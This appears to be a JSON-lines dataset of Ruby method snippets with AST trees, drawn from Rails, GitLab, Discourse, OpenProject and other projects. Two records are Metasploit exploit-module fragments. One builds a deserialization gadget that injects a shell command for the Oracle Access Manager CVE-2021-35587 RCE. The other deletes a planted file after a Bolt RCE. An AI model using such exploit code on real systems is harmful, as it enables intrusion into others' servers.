{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/text_helper_test.rb","start_line":99,"raw_source":"def test_truncate\n    assert_equal \"Hello World!\", truncate(\"Hello World!\", length: 12)\n    assert_equal \"Hello Wor...\", truncate(\"Hello World!!\", length: 12)\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_truncate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello World!\"]},{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"str\",\"children\":[\"Hello World!\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"int\",\"children\":[12]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello Wor...\"]},{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"str\",\"children\":[\"Hello World!!\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}]}]}","id":"4f432c50-b802-4361-bcf1-631bf8f0ddb0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/smocker.rb","start_line":63,"raw_source":"def wait_for_running\n          Support::Waiter.wait_until(max_duration: 10, reload_page: false) do\n            running?\n          end\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_running\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload_page\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"running?\"]}]}]}","id":"a80ba23f-6904-4a1d-97b8-1529bea7e609"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/screened_url.rb","start_line":31,"raw_source":"def self.normalize_url(url)\n    normalized = url.gsub(%r{http(s?)://}i, \"\")\n    normalized.gsub!(%r{(/)+\\z}, \"\") # trim trailing slashes\n    normalized.gsub!(%r{\\A([^/]+)(?:/)?}) { |m| m.downcase } # downcase the domain part of the url\n    normalized\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"normalized\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(s?)://\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(/)+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A([^/]+)(?:/)?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"downcase\"]}]},{\"type\":\"lvar\",\"children\":[\"normalized\"]}]}]}","id":"d85bb979-471a-429a-a9d1-65f0f9bd0dfd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/heredoc_indentation.rb","start_line":115,"raw_source":"def adjust_squiggly(corrector, node)\n          corrector.replace(node.loc.heredoc_body, indented_body(node))\n          corrector.replace(node.loc.heredoc_end, indented_end(node))\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"adjust_squiggly\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"heredoc_body\"]},{\"type\":\"send\",\"children\":[null,\"indented_body\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"heredoc_end\"]},{\"type\":\"send\",\"children\":[null,\"indented_end\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"2e772515-2063-492c-9582-a97b58a04510"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/review_apps/automated_cleanup.rb","start_line":28,"raw_source":"def self.parse_args(argv)\n      options = {\n        dry_run: false\n      }\n\n      OptionParser.new do |opts|\n        opts.on(\"-d BOOLEAN\", \"--dry-run BOOLEAN\", String, \"Whether to perform a dry-run or not.\") do |value|\n          options[:dry_run] = true if value == 'true'\n        end\n\n        opts.on(\"-h\", \"--help\", \"Prints this help\") do\n          puts opts\n          exit\n        end\n      end.parse!(argv)\n\n      options\n    end","complexity_score":17.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"argv\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dry_run\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"on\",{\"type\":\"str\",\"children\":[\"-d BOOLEAN\"]},{\"type\":\"str\",\"children\":[\"--dry-run BOOLEAN\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"str\",\"children\":[\"Whether to perform a dry-run or not.\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"dry_run\"]},{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"on\",{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"str\",\"children\":[\"--help\"]},{\"type\":\"str\",\"children\":[\"Prints this help\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]}]}]},\"parse!\",{\"type\":\"lvar\",\"children\":[\"argv\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"f7045e9c-401c-412a-b2be-dda6466f3819"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/attributes.rb","start_line":237,"raw_source":"def column_entries(column_names)\n    column_names.map { |key| column_entry(key) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"column_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_names\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"column_entry\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"16a90cea-008d-40de-a9c3-3d211748d5fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/oracle_access_manager_rce_cve_2021_35587.rb","start_line":185,"raw_source":"def get_gadget\n    detected_version = get_version\n\n    gadget_file = nil\n\n    case detected_version\n    when Rex::Version.new('12.2.1.4.0')\n      gadget_file = 'gadget_12.2.1.4.0.bin'\n    when Rex::Version.new('12.2.1.3.0')\n      gadget_file = 'gadget_12.2.1.3.0.bin'\n    else\n      fail_with(Failure::NoTarget, \"No suitable gadget chain for this version: #{detected_version}.\")\n    end\n\n    # See ./data/exploits/CVE-2021-35587/gadget.java for how we generate the gadget bin files.\n    gadget_data = ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-35587', gadget_file))\n\n    shell_name = nil\n    shell_arg = nil\n\n    if (target.platform.platforms & [Msf::Module::Platform::Linux, Msf::Module::Platform::Unix]).any?\n      shell_name = '/bin/sh'\n      shell_arg = '-c'\n    elsif target.platform.platforms.include? Msf::Module::Platform::Windows\n      shell_name = 'cmd.exe'\n      shell_arg = '/C'\n    else\n      fail_with(Failure::BadConfig, \"No gadget shell support for target #{target['Platform']}.\")\n    end\n\n    {\n      'EXEC_ARG0' => shell_name,\n      'EXEC_ARG1' => shell_arg,\n      'EXEC_ARG2' => payload.encoded\n    }.each do |key, value|\n      gadget_data.gsub!(\n        [key.length].pack('n') + key,\n        [value.length].pack('n') + value\n      )\n    end\n\n    vprint_status(\"Using gadget (#{gadget_file}):\")\n    vprint_line(Rex::Text.to_hex_dump(gadget_data))\n\n    gadget_data\n  end","complexity_score":60.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_gadget\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"detected_version\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gadget_file\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detected_version\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12.2.1.4.0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gadget_file\",{\"type\":\"str\",\"children\":[\"gadget_12.2.1.4.0.bin\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12.2.1.3.0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gadget_file\",{\"type\":\"str\",\"children\":[\"gadget_12.2.1.3.0.bin\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No suitable gadget chain for this version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detected_version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gadget_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"binread\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2021-35587\"]},{\"type\":\"lvar\",\"children\":[\"gadget_file\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shell_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"shell_arg\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"platform\"]},\"platforms\"]},\"&\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Unix\"]}]}]}]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shell_name\",{\"type\":\"str\",\"children\":[\"/bin/sh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shell_arg\",{\"type\":\"str\",\"children\":[\"-c\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"platform\"]},\"platforms\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Windows\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shell_name\",{\"type\":\"str\",\"children\":[\"cmd.exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shell_arg\",{\"type\":\"str\",\"children\":[\"/C\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No gadget shell support for target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXEC_ARG0\"]},{\"type\":\"lvar\",\"children\":[\"shell_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXEC_ARG1\"]},{\"type\":\"lvar\",\"children\":[\"shell_arg\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXEC_ARG2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget_data\"]},\"gsub!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using gadget (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget_file\"]}]},{\"type\":\"str\",\"children\":[\"):\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex_dump\",{\"type\":\"lvar\",\"children\":[\"gadget_data\"]}]}]},{\"type\":\"lvar\",\"children\":[\"gadget_data\"]}]}]}","id":"0ac8bded-1539-409e-8f96-98806af90afa"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/checkout_controller.rb","start_line":128,"raw_source":"def add_store_credit_service\n            Spree::Api::Dependencies.storefront_checkout_add_store_credit_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_store_credit_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_checkout_add_store_credit_service\"]},\"constantize\"]}]}","id":"d02c358d-d443-43a8-9922-cb674c98035e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/access.rb","start_line":188,"raw_source":"def project_creation_level_name(name)\n        project_creation_options.key(name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_creation_level_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_creation_options\"]},\"key\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"16660312-3595-4896-92cd-2d908413d233"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/bolt_authenticated_rce.rb","start_line":384,"raw_source":"def delete_file(file_name)\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),\n      'cookie' => @cookie,\n      'vars_post' => {\n        'namespace' => 'files',\n        'filename' => file_name,\n        'token' => @csrf_token\n      }\n    })\n\n    unless res && res.code == 200 && res.body.include?(file_name)\n      print_warning(\"Failed to delete file #{file_name}. Manual cleanup required.\")\n    end\n\n    print_good(\"Deleted file #{file_name}.\")\n  end","complexity_score":16.95,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"async\"]},{\"type\":\"str\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"delete\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"files\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"token\"]},{\"type\":\"ivar\",\"children\":[\"@csrf_token\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to delete file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\". Manual cleanup required.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"9930027a-9ffd-4e5a-80c5-6f99594ba394"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":956,"raw_source":"def downcase_email\n    self.email_in = (email_in || \"\").strip.downcase.presence\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"downcase_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_in=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_in\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"strip\"]},\"downcase\"]},\"presence\"]}]}]}","id":"3264dda5-4bf6-47b7-bffb-dc8a1f7bf1ac"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/model_schema.rb","start_line":443,"raw_source":"def columns_hash # :nodoc:\n        load_schema unless @columns_hash\n        @columns_hash\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"columns_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@columns_hash\"]},null,{\"type\":\"send\",\"children\":[null,\"load_schema\"]}]},{\"type\":\"ivar\",\"children\":[\"@columns_hash\"]}]}]}","id":"26c134bc-0a7e-4d99-91c7-d77539d7ad68"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/parser_tsv.rb","start_line":34,"raw_source":"def parse(text)\n        values = text.split(@delimiter, @key_num)\n        r = Hash[@keys.zip(values)]\n        time, record = convert_values(parse_time(r), r)\n        yield time, record\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"split\",{\"type\":\"ivar\",\"children\":[\"@delimiter\"]},{\"type\":\"ivar\",\"children\":[\"@key_num\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\"]},{\"type\":\"lvasgn\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[null,\"convert_values\",{\"type\":\"send\",\"children\":[null,\"parse_time\",{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}","id":"690bf142-94ad-4621-b051-90c4435878bf"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":180,"raw_source":"def test_optionally_validates_length_of_using_is\n    Topic.validates_length_of :title, is: 5, allow_nil: true\n\n    t = Topic.new(\"title\" => \"valid\", \"content\" => \"whatever\")\n    assert_predicate t, :valid?\n\n    t.title = nil\n    assert_predicate t, :valid?\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_optionally_validates_length_of_using_is\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"valid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"c60d63bc-1641-4e33-b2b1-2682ebe9795a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_custom_field_project_mappings/bulk_update_service.rb","start_line":57,"raw_source":"def perform_bulk_edit(service_call, params)\n      action = params[:action]\n      custom_field_ids = fetch_custom_field_ids\n\n      begin\n        case action\n        when :enable\n          enable_custom_fields(custom_field_ids)\n        when :disable\n          disable_custom_fields(custom_field_ids)\n        end\n      rescue StandardError => e\n        service_call.success = false\n        service_call.errors = e.message\n      end\n\n      recalculate_values(custom_field_ids:) if service_call.success?\n\n      service_call\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_bulk_edit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_call\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"custom_field_ids\",{\"type\":\"send\",\"children\":[null,\"fetch_custom_field_ids\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"enable\"]},{\"type\":\"send\",\"children\":[null,\"enable_custom_fields\",{\"type\":\"lvar\",\"children\":[\"custom_field_ids\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"disable\"]},{\"type\":\"send\",\"children\":[null,\"disable_custom_fields\",{\"type\":\"lvar\",\"children\":[\"custom_field_ids\"]}]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"a